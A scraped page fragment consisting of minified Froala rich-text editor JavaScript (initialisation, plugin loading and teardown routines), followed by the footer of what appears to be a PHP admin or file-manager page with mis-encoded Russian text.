this.doc?this.doc.defaultView:this.doc.parentWindow,this.$doc=C(this.doc),this.$win=C(this.win),this.opts.pluginsEnabled||(this.opts.pluginsEnabled=Object.keys(T.PLUGINS)),this.opts.initOnClick?(this.load(T.MODULES),this.$el.on("touchstart.init",function(){C(this).data("touched",!0)}),this.$el.on("touchmove.init",function(){C(this).removeData("touched")}),this.$el.on("mousedown.init touchend.init dragenter.init focus.init",function r(e){if("false"!==this.$el.attr("contentEditable")||!this.opts.initOnClick){if("touchend"===e.type&&!this.$el.data("touched"))return!0;if(1===e.which||!e.which){this.$el.off("mousedown.init touchstart.init touchmove.init touchend.init dragenter.init focus.init"),this.load(T.MODULES),this.load(T.PLUGINS);var t=e.originalEvent&&e.originalEvent.originalTarget;if(t&&"IMG"===t.tagName&&C(t).trigger("mousedown"),"undefined"==typeof this.ul&&this.destroy(),"touchend"===e.type&&this.image&&e.originalEvent&&e.originalEvent.target&&C(e.originalEvent.target).is("img")){var n=this;setTimeout(function(){n.image.edit(C(e.originalEvent.target))},100)}this.ready=!0,this.events.trigger("initialized")}}}.bind(this)),this.events.trigger("initializationDelayed")):(this.load(T.MODULES),this.load(T.PLUGINS),C(this.o_win).scrollTop(this.c_scroll),"undefined"==typeof this.ul&&this.destroy(),this.ready=!0,this.events.trigger("initialized"))}return T.Bootstrap=function(e,t,n){this.id=++T.ID,this.$=C;var r={};"function"==typeof t&&(n=t,t={}),n&&(t.events||(t.events={}),t.events.initialized=n),t&&t.documentReady&&(r.toolbarButtons=[["fullscreen","undo","redo","getPDF","print"],["bold","italic","underline","textColor","backgroundColor","clearFormatting"],["alignLeft","alignCenter","alignRight","alignJustify"],["formatOL","formatUL","indent","outdent"],["paragraphFormat"],["fontFamily"],["fontSize"],["insertLink","insertImage","quote"]],r.paragraphFormatSelection=!0,r.fontFamilySelection=!0,r.fontSizeSelection=!0,r.placeholderText="",r.quickInsertEnabled=!1,r.charCounterCount=!1),this.opts=Object.assign({},Object.assign({},T.DEFAULTS,r,"object"===x(t)&&t));var o=JSON.stringify(this.opts);T.OPTS_MAPPING[o]=T.OPTS_MAPPING[o]||this.id,this.sid=T.OPTS_MAPPING[o],T.SHARED[this.sid]=T.SHARED[this.sid]||{},this.shared=T.SHARED[this.sid],this.shared.count=(this.shared.count||0)+1,this.$oel=C(e),this.$oel.data("froala.editor",this),this.o_doc=e.ownerDocument,this.o_win="defaultView"in this.o_doc?this.o_doc.defaultView:this.o_doc.parentWindow,this.c_scroll=C(this.o_win).scrollTop(),this._init()},T.Bootstrap.prototype._init=function(){var e=this.$oel.get(0).tagName;this.$oel.closest("label").length;var t=function(){"TEXTAREA"!==e&&(this._original_html=this._original_html||this.$oel.html()),this.$box=this.$box||this.$oel,this.opts.fullPage&&(this.opts.iframe=!0),this.opts.iframe?(this.$iframe=C('<iframe src="about:blank" frameBorder="0">'),this.$wp=C("<div></div>"),this.$box.html(this.$wp),this.$wp.append(this.$iframe),this.$iframe.get(0).contentWindow.document.open(),this.$iframe.get(0).contentWindow.document.write("<!DOCTYPE html>"),this.$iframe.get(0).contentWindow.document.write("<html><head></head><body></body></html>"),this.$iframe.get(0).contentWindow.document.close(),this.iframe_document=this.$iframe.get(0).contentWindow.document,this.$el=C(this.iframe_document.querySelector("body")),this.el=this.$el.get(0),this.$head=C(this.iframe_document.querySelector("head")),this.$html=C(this.iframe_document.querySelector("html"))):(this.$el=C(this.o_doc.createElement("DIV")),this.el=this.$el.get(0),this.$wp=C(this.o_doc.createElement("DIV")).append(this.$el),this.$box.html(this.$wp)),setTimeout(M.bind(this),0)}.bind(this),n=function(){this.$box=C("<div>"),this.$oel.before(this.$box).hide(),this._original_html=this.$oel.val();var e=this;this.$oel.parents("form").on("submit.".concat(this.id),function(){e.events.trigger("form.submit")}),this.$oel.parents("form").on("reset.".concat(this.id),function(){e.events.trigger("form.reset")}),t()}.bind(this),r=function(){this.$el=this.$oel,this.el=this.$el.get(0),this.$el.attr("contenteditable",!0).css("outline","none").css("display","inline-block"),this.opts.multiLine=!1,this.opts.toolbarInline=!1,setTimeout(M.bind(this),0)}.bind(this),o=function(){this.$el=this.$oel,this.el=this.$el.get(0),this.opts.toolbarInline=!1,setTimeout(M.bind(this),0)}.bind(this),i=function(){this.$el=this.$oel,this.el=this.$el.get(0),this.opts.toolbarInline=!1,this.$oel.on("click.popup",function(e){e.preventDefault()}),setTimeout(M.bind(this),0)}.bind(this);this.opts.editInPopup?i():"TEXTAREA"===e?n():"A"===e?r():"IMG"===e?o():"BUTTON"===e||"INPUT"===e?(this.opts.editInPopup=!0,this.opts.toolbarInline=!1,i()):t()},T.Bootstrap.prototype.load=function(e){for(var t in e)if(Object.prototype.hasOwnProperty.call(e,t)){if(this[t])continue;if(T.PLUGINS[t]&&this.opts.pluginsEnabled.indexOf(t)<0)continue;if(this[t]=new e[t](this),this[t]._init&&(this[t]._init(),this.opts.initOnClick&&"core"===t))return!1}},T.Bootstrap.prototype.destroy=function(){this.destrying=!0,this.shared.count--,this.events&&this.events.$off();var e=this.html&&this.html.get();if(this.opts.iframe&&(this.events.disableBlur(),this.win.focus(),this.events.enableBlur()),this.events&&(this.events.trigger("destroy",[],!0),this.events.trigger("shared.destroy",[],!0)),0===this.shared.count){for(var t in this.shared)Object.prototype.hasOwnProperty.call(this.shared,t)&&(this.shared[t]=null,T.SHARED[this.sid][t]=null);delete T.SHARED[this.sid]}this.$oel.parents("form").off(".".concat(this.id)),this.$oel.off("click.popup"),this.$oel.removeData("froala.editor"),this.$oel.off("froalaEditor"),this.core&&this.core.destroy(e),T.INSTANCES.splice(T.INSTANCES.indexOf(this),1)},Z});
| ver. 1.4 |
Github
|
.
| PHP 8.3.11 | Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ñ Ñтраницы: 0.26 |
proxy
|
phpinfo
|
ÐаÑтройка